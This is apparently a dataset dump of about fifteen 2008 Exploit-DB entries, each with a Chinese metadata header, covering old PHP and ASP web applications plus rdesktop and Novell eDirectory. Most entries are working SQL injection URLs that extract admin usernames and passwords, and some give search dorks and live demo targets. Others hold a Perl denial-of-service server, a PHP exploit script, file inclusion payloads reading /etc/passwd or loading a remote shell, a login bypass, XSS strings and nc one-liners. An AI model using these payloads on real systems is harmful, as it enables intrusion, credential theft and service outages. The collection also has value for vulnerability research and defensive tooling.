QLWD/code_shield huggingface dataset:
标题: EZContents CMS 2.0.0 - Multiple SQL Injections EDB-ID: 5559 CVE: 2008-2135 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-07 漏洞利用脚本: #######################################################################################
  #                                                                                     #
  # ...:::::ezContents CMS Version 2.0.0  SQL Injection Vulnerabilities ::::...         #           
  #######################################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :virangar security team(hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----
d0rk:"ezContents CMS Version 2.0.0"
-------vuln codes in:-----------
showdetails.php:
$strQuery = "SELECT * FROM ".$GLOBALS["eztbContents"]." WHERE contentname ='".$HTTP_GET_VARS["contentname"]."' AND language='".$GLOBALS["gsLanguage"]."'";
*********
printer.php:
$strQuery = "SELECT * FROM ".$GLOBALS["eztbContents"]." WHERE contentname ='".$HTTP_GET_VARS["article"]."' AND language='".$GLOBALS["gsLanguage"]."'";
---
exploits:
http://site.com/[patch]/showdetails.php?contentname='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(login,0x3a,userpassword,char(58,58),authoremail),30/**/from/**/authors/**/where/**/authorid=1/*
http://site.com/[patch]/printer.php?article='/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,concat(login,0x3a,userpassword,char(58,58),authoremail),30/**/from/**/authors/**/where/**/authorid=1/*
---
young iranian h4ck3rz
/* tnx 2:
st0rke,aria-security.net,r00tsecurity.org,all h4ck3rz */

# milw0rm.com [2008-05-07] URL: https://www.exploit-db.com/exploits/5559
标题: rdesktop 1.5.0 - 'iso_recv_msg()' Integer Underflow (PoC) EDB-ID: 5561 CVE: 2008-1801 类型: DOS 平台: LINUX 发布日期: 2008-05-08 漏洞利用脚本: #!/usr/bin/perl
#
# http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=696

use warnings;
use strict;
use IO::Socket;

my $sock = IO::Socket::INET->new(LocalAddr => '0.0.0.0', LocalPort => '3389', Listen => 1, Reuse => 1) || die($!);

while(my $c = $sock->accept())
{
        print $c        "\x03"                          .# TPKT version
                        "\x00"                          .# reserved
                        "\x00\x01"                      .# evil length here 
                        "\x06\xd0\x00\x00\x12\x34\x00"  .
                        "\x41" x 204942;

        sleep 1;
        close $sock;
}

# milw0rm.com [2008-05-08] URL: https://www.exploit-db.com/exploits/5561
标题: PostcardMentor - 'cat_fldAuto' SQL Injection EDB-ID: 5556 CVE: 2008-2132 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-07 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title :: Multiple SQL Injections [Remote + Blind]
 
Author :: InjEctOrs

Found By : Bl@ckbe@rD [blackbeard-sql (at) hotmail (dot) fr ]
 
Application :: PostcardMentor latest version
 
Download :: http://www.aspcode.net/Download-latest-version-4.aspx
 
Dork 1 ::  :p
 
Greets :: Allah , King Of hacker , InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal 
acts.

--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: 
http://localhost/PostcardMentor/step1.asp?cat_fldAuto={SQL}

{SQL} --> MS SQL Server for example : convert(int,(select+@@version))
 
{SQL} --> MS ACCESS for example : 1 IIF((select%20mid(last(name),1,1)%20from%20(select%20top%2010%20name%20from%20cat))='a',0,'done')
 


-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-07] URL: https://www.exploit-db.com/exploits/5556
标题: PHPEasyData 1.5.4 - 'cat_id' SQL Injection EDB-ID: 5552 CVE: 2008-2113 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-06 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title :: Remote SQL Injection
 
Author :: InjEctOr [s0f (at) w (dot) cn]
&& ToTaL [n.47 at hotmail.com]
 
Application :: PHPEasyData 1.5.4
 
Download :: http://www.phpeasydata.com/telecharger/phpeasydata-free-edition/index_fr.html
 
Dork 1 ::  Not Yet  :P
 
Greets :: Allah , InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers
Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.

--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: http://localhost/localhost/phpeasydata-1.5.4/annuaire.php?annuaire=68&sort_field=&cat_id=4+union+select+concat_ws(0x3a3a,user_id,user_login,user_pass,user_fname,user_lname,user_access,user_email)+from+an_users/*

 
-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-06] URL: https://www.exploit-db.com/exploits/5552
标题: MusicBox 2.3.7 - 'artistId' SQL Injection EDB-ID: 5560 CVE: 2008-2125 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-07 漏洞利用脚本: #########################################
#    Rem0te SQL Injection Vulnerability                           #
#       Musicbox [viewalbums.php]                                 #
########################################

[<>]Author: HaCkeR-EgY
 
[<>]H^0mE: www.pal-hacker.com ,  atsdp.com
 
[<>]CONTact: hacker_EGY@hotmail.com 
===========================================================
[<>]Script : Musicbox
 
[<>]version : Version 2.3.6 / 2.3.7
 
[<>]Script Price: Only $ 255.00
 
[<>]Download : www.musicboxv2.com
============================================================
 
[<>] D0RK : ... you know
 
[<>] ExPLO!t :
             
  ===>
http://www.target.com/version2.3.7/viewalbums.php?artistId=-1/**/union/**/select/**/1,concat_ws(0x3a3a,username,password),3,4,5,6,7,8,9,10/**/from/**/users/*
 
 
[<>] live DemO :
            
  ===>
  http://www.musicboxv2.com/version2.3.7/viewalbums.php?artistId=-1/**/union/**/select/**/1,concat_ws(0x3a3a,username,password),3,4,5,6,7,8,9,10/**/from/**/users/*
 
==============================================================
[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : F!resell , Mohamed el Arab ,Mr.EXE , DaRk MaStEr ,H-T Team
                   Gold_M , V4 Team , Jiki Team  , RoMaNcYxHaCkEr
===============================================================

# milw0rm.com [2008-05-07] URL: https://www.exploit-db.com/exploits/5560
标题: Pre Shopping Mall 1.1 - 'search.php' SQL Injection EDB-ID: 5551 CVE: 2008-2114 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-06 漏洞利用脚本: --==+================================================================================+==--
--==+      Pre Shopping Mall 1.1 SQL Injection Vulnerablity              +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 
Script Download: http://preproject.com
DORK: N/A



Vendor Has Not Been Notified!



DESCRIPTION: 
Pre Shopping Mall suffers from multiple remote sql injection bugs.
this allows the remote attacker to pull admin credentials from the database, since the admin details are in plaintext
this makes it easy for the attacker to gain access to the administarion panel.



SQL Injection:
ADMIN: http://site.com/emall/search.php?search='/**/and/**/1=2/**/UNION/**/ALL/**/SELECT/**/1,2,3,CONCAT(login,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16/**/FROM/**/admin/*



NOTE/TIP: 
admin login is at /admin/
injection is multi-row, so it will pull all rows from a table.


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+      Pre Shopping Mall 1.1 SQL Injection Vulnerablity              +==--
--==+================================================================================+==--

# milw0rm.com [2008-05-06] URL: https://www.exploit-db.com/exploits/5551
标题: GameCMS Lite 1.0 - 'systemId' SQL Injection EDB-ID: 5555 CVE: 2008-2225 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-07 漏洞利用脚本: w           w     w 
                                                        ||          ||   | ||        
                                                 o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                                                ( :   /    (_)    /           (   .  
                              |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
                              |     _                   __           __       __          ______     |
                              |   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
                              |  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
                              |  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
                              |     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
                              |      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
                              |       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
                              |                  \ \____/ >> Kings of injection                      |
                              |                   \/___/                                             |
                              |                                                                      |
                              |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

-Title :: gameCMS Lite Remote SQL Injection Vulnerability
-Author :: InjEctOr5
-discouvred by :: total - djekmani
-HoMe :: www.sb0x.com/forums

-Application :: gameCMS Lite 1.0
-Download :: http://rapidshare.com/files/27043814/gameCMS.rar
-Dork  :: Clear your Mind

-Greets :: Allah - InjEctOr5 TeaM - stack terrorist - coNan - Mr_linker - my love - and all my friends

-Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.

--------------------------------------------[C o n t e x t]-----------------------------------------

-ExplO!t : http://target/index.php?systemId=5'+union+select+1,2,concat_ws(0x3a3a,adminId,name,password,email,groupId),4,5+from+gamecms_admin/*

-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-07] URL: https://www.exploit-db.com/exploits/5555
标题: FipsCMS 2.1 - 'print.asp' SQL Injection EDB-ID: 5553 CVE: 2008-2124 类型: WEBAPPS 平台: ASP 发布日期: 2008-05-07 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title :: Blind SQL Injection
 
Author :: InjEctOr [s0f (at) w (dot) cn] && Hak3r-b0y [hak3r-b0y (at) hotmail (dot) com]

Application :: fipsCMS [Print Module]
 
Download :: http://www.fipsasp.com/home/index.asp?lg=1&w=pages&r=52&pid=73 

Dork 1 ::  Use ur mind !
 
ShoutZ :: Allah ,xError,ProViDor,all InjEctOr5 TeaM ,TrYaG TeaM & Muslims Hackers

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.

--------------------------------------------[C o n t e x t]-----------------------------------------
 
Vulnerability: http://localhost/fipsCMS/modules/print.asp?lg=[SQL]

Example : //IIF((select%20mid(last(username),1,1)%20
from%20(select%20top%2010%20username%20from%20admin))='a',0,'ko')

 
-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-07] URL: https://www.exploit-db.com/exploits/5553
标题: Power Editor 2.0 - Remote File Disclosure / Edit EDB-ID: 5549 CVE: 2008-2116 2008-2115 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: ########################################################################
             #                                                                      #
             #    ..:::::Power Editor LOCAL FILE INCLUSION Vulnerbility ::::...     #           
             ########################################################################

Virangar Security Team

www.virangar.net

--------
Discoverd By :Virangar Security Team (hadihadi)

special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra

& all virangar members & all iranian hackerz

greetz:to my best friend in the world hadi_aryaie2004
& my lovely friend arash(imm02tal) from emperor team :)
-----------------------------------
download:http://www.scriptsez.net/index.php?action=details&cat=Content%20Management&id=1063623812
dork: Powered By Power Editor
-----------------------------------
vuln code in editor.php:
line 84-94:
if ($action=="tempedit") {
$n=base64_decode($m);    
if ($n==$password){
template();
$te=$HTTP_GET_VARS['te'];
$dir=$HTTP_GET_VARS['dir'];
$filename = "$dir/$te";
$fd = fopen ($filename, "r");
$stuff = fread ($fd, filesize ($filename));
fclose ($fd);
?>
-------
vuln:
http://site.com/editor.php?action=tempedit&m=[base64 password]&te=[local_file]&dir=[local_dir]
examp:
editor.php?action=tempedit&m=Y2hhbmdlbWU=&te=/etc/passwd&dir=../../../../../../../../../..

-------------------------------------
and xss here :D :
http://site.com/editor.php?action=tempedit&m=[base64 password]&te=[xss]&dir=[xss]
-----
note:
default pass for login is:changeme
-----
young iranian h4ck3rz
/* tnx 2:
st0rke,aria-security.net,r00tshell.org,all h4ck3rz */

# milw0rm.com [2008-05-05] URL: https://www.exploit-db.com/exploits/5549
标题: Galleristic 1.0 - 'cat' SQL Injection EDB-ID: 5554 CVE: 2008-2129 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-07 漏洞利用脚本: <?php

#
#   Name : Galleristic v1.0 (index.php cat) Remote SQL Injection Exploit
#   Author : cOndemned
#   Note : works only when magic_quotes_gpc = off
#   Greetz : irk4z, GregStar, ZaBeaTy, Iwan, ElusiveN, doctor, Avantura ;*
#

function exploit($target, $v) {

    $injection = "/index.php?cat='-1+union+select+value+from+gallery_settings+where+id=" . $v . "/*";
    $request = file($target . $injection);
        
    for($i = 0; $i < count($request); $i++) {
        
        preg_match('/\'(.*)\'<\/h2>/', $request[$i], $response);
           
        if(!empty($response[1])) {
            return $response[1] . '<br />';
        }
    }
}

#   Usage : Run in a browser as : http://[yourbox]/exploit.php?target=http://[targetbox]/[path]/
if(empty($_GET['target'])) {
    die('No target site specified!');
}
else {
    for($c = 1; $c < 3; $c++) {
        echo exploit($_GET['target'], $c);
    }   
}

?>

# milw0rm.com [2008-05-07] URL: https://www.exploit-db.com/exploits/5554
标题: Miniweb 2.0 - 'historymonth' SQL Injection EDB-ID: 5548 CVE: 2008-6582 2008-2197 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-05 漏洞利用脚本: ############################################
#    Rem0te SQL Injection Vulnerability    #
#         Miniweb 2.0 [ index.php ]        #
############################################

[<>]Author: HaCkeR-EgY
 
[<>]H^0mE: www.pal-hacker.com ,  atsdp.com
 
[<>]CONTact: hacker_EGY@hotmail.com  
===========================================================
[<>]Script : Miniweb  " Blog Writer "
[<>]version :  2.0
[<>]Module Price: Only $39.00
[<>]Portal Price : $ 117
[<>]DOWNL0AD Trial : www.miniweb2.com
============================================================
 
[<>] D0RK : hmmm........ user YOUR Mind (:
 
[<>] ExPLO!t :
              
  ===>http://example.com/miniweb2/index.php?module=blogwriter&historyyear=2007&historymonth=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,user_id,username,password),4,5,6,7,8,9,10/**/from/**/admin_access/*
 
[<>] live D!mO :
             
  ===> http://miniweb2.com/moduledemo/blogwriter/index.php?historyyear=2008&historymonth=-1/**/union/**/select/**/1,2,concat_ws(0x3a3a,user_id,username,password),4,5,6,7,8,9,10/**/from/**/admin_access/*
 
==============================================================
[<>] Thanx : MY Brotha and MY Master " Abo Mohamed "
 
[<>] Greetz : F!resell , Mohamed el Arab ,Mr.EXE , DaRk MaStEr ,H-T Team
                       Gold_M , V4 Team , Jiki Team  , RoMaNcYxHaCkEr
===============================================================

# milw0rm.com [2008-05-05] URL: https://www.exploit-db.com/exploits/5548
标题: Cplinks 1.03 - Authentication Bypass / SQL Injection / Cross-Site Scripting EDB-ID: 5538 CVE: 2008-2181 2008-2180 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-04 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

Title :: cpLinks v1.03 Multiple Vulnerabilities (bypass/SQL/XXS)


Author :: InjEctOr [s0f (at) w (dot) cn]

&& FishEr762  [SQ7 (at) w (dot) cn ]


Script Site :: http://www.cplinks.com/

Dork  :: ThinkinG 

Greets :: Allah ,TryaG TeaM & Muslims Hackers

Terms of use :: This exploit is just for educational purposes, DO NOT use it for illegal acts.



--------------------------------------------[C o n t e x t]-----------------------------------------




##########################
##Expl0!T1 bypass login ##
##########################


http://[site]/[script]/admin/


in username filed insert:

' or 1=1 /*    

addition, some time must type any thing in password field



#####################################
## Explo!T 2  Reomte SQL Injection ##
#####################################

file/
search.php


@ line 57 ::


$query = "SELECT
   category,
   sub_category,
   title,
   url,
   description,
   status
   FROM mnl_links
   WHERE category='$search_category'
   AND description LIKE '%$search_text%'
   AND approved='yes'
   ORDER BY status, rec_timestamp";


search url: http://localhost/[script's_bad_day]/search.php

so just insert in search filed this query :)

' union select admin_username,admin_password,3,4,5,6 from mnl_admin/*


##################
## EXpl!T3 Xss  ##
##################


Vulnerability found in script search.php .. also !


in search field insert  >"> and then  xss c0de ::



example: >"><script>alert("!! InjEctOr TeaM Became Here !!")</script>>



############### T|-|4t'5 4ll ############### 


-------------------------------------------[End of  context]----------------------------------------

# milw0rm.com [2008-05-04] URL: https://www.exploit-db.com/exploits/5538
标题: ScorpNews 1.0 - 'site' Remote File Inclusion EDB-ID: 5539 CVE: 2008-2193 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-04 漏洞利用脚本: ########################################################################
#
# /news/example.php <= Remote File Inclusion
#
# Found By: Silver - x.56[@]hotmail[d0t]de
#
# Website: www.silver-crystal-war.6x.to
#
# Version: S C O R P N E W S Version 2
#
# Location: Germany
#
########################################################################
#
#file ;
#
#example.php
#
#<? include $site.'.php';?>
#
#########################################################################
#
#example Exploit ;
#
#http://www.example.com/example.php?site=http://shell
#
#http://www.example.com/news/example.php?site=http://shell
# 
########################################################################
#
#Greetz to;
#
# .:National Security Team:. (www.crystal-war.6x.to)
#
########################################################################

# milw0rm.com [2008-05-04] URL: https://www.exploit-db.com/exploits/5539
标题: Novell eDirectory < 8.7.3 SP 10 / 8.8.2 - HTTP headers Denial of Service EDB-ID: 5547 CVE: 2008-0927 类型: DOS 平台: WINDOWS 发布日期: 2008-05-05 漏洞利用脚本: [=] Affected software :

 Editor : Novell
 Name : eDirectory
 Version : < 8.7.3 SP 10 and < 8.8.2
 Services : TCP/8028 (HTTP) and TCP/8030 (HTTPS)

[=] External references :

http://www.novell.com/support/viewContent.do?externalId=3829452&sliceId=1
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0927

[=] Technical details :

The dhost.exe process will consume 100% of a CPU. More than one request
can be used to lock every CPU.

Two "Connection:" headers : echo "GET / HTTP/1.0"; echo "Connection:
foo"; echo "Connection: bar"; echo; echo) | nc -vn 192.168.1.1 8028 

One "Connection:" header with two values : (echo "GET / HTTP/1.0"; echo
"Connection: foo, bar"; echo; echo) | nc -vn 192.168.1.1 8028

Nicob

# milw0rm.com [2008-05-05] URL: https://www.exploit-db.com/exploits/5547
标题: SmartBlog 1.3 - 'index.php' SQL Injection EDB-ID: 5535 CVE: 2008-2185 2008-2184 2008-2183 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-03 漏洞利用脚本: ###################################################
[~] Smartblog remote SQL injection exploit
[~] Script download : http://ftp1.toocharger.com/scfQ9NS/smartblog_3868.zip                                                                                                              
[~] Founder: His0k4 { ALGERIAN HACKER }
[~] Greetz : All friends & muslims HaCkErS...
[~] Contact: His0k4.hlm[at]gmail.com
[~] Dork :  ActionnÃƒÂ©e par smartblog
[~] P.O.C :
---------------------
http://localhost/[script_path]/index.php?idt={SQL}
[~] Exemple :
http://localhost/[script_path]/index.php?idt=-1 UNION SELECT 1,concat_ws(0x3a,pseudo,pass),3,4,5,6,7,8,9 FROM smb_user--
---------------------
[~] Note:
    Admin http://localhost/[script_path]/?page=login.html
    You can upload a shell from the admin panel 
---------------------
###############################################

# milw0rm.com [2008-05-03] URL: https://www.exploit-db.com/exploits/5535